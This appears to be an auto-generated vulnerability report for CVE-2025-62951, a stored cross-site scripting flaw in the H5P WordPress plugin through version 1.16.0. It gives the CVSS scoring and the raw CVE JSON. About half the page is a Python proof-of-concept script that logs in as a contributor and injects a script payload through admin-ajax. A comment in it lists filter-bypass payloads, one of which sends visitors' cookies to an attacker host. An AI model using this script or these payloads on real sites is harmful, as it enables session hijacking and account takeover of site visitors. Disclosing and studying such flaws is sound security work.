Security Vulnerability Report
中文
CVE-2025-62951 CVSS 6.5 MEDIUM

CVE-2025-62951

Published: 2025-10-27 02:15:55
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in icc0rz H5P h5p allows Stored XSS.This issue affects H5P: from n/a through <= 1.16.0.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

H5P WordPress Plugin <= 1.16.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from bs4 import BeautifulSoup # WordPress H5P Plugin Stored XSS PoC - CVE-2025-62951 # Target: WordPress site with H5P plugin <= 1.16.0 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "contributor_user" PASSWORD = "password123" def login(): """Authenticate to WordPress and get session cookie""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/", 'testcookie': '1' } session.post(login_url, data=login_data) return session def inject_stored_xss(session): """Inject malicious JavaScript into H5P content""" # Create new H5P content with stored XSS payload xss_payload = '<script>console.log(document.cookie)</script>' # Alternative payloads for bypassing filters: # <img src=x onerror=alert(document.domain)> # <svg/onload=fetch("https://attacker.com/steal?c="+document.cookie)> post_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" headers = {'Content-Type': 'application/x-www-form-urlencoded'} # H5P content creation request h5p_data = { 'action': 'h5p_save_content', 'title': 'Malicious H5P Content', 'params': f'{{"content":{{"text":"{xss_payload}"}}}}', 'nonce': 'your_nonce_here' # Get valid nonce from page source } response = session.post(post_url, data=h5p_data, headers=headers) print(f"[*] XSS payload injected. Content ID: {response.text}") return response.text def main(): print(f"[*] CVE-2025-62951 Stored XSS PoC") print(f"[*] Target: {TARGET_URL}") session = login() content_id = inject_stored_xss(session) print(f"[+] Stored XSS injected successfully!") print(f"[+] Anyone viewing content ID {content_id} will execute the payload") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62951", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:55.410", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in icc0rz H5P h5p allows Stored XSS.This issue affects H5P: from n/a through <= 1.16.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/h5p/vulnerability/wordpress-interactive-content-h5p-plugin-1-16-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}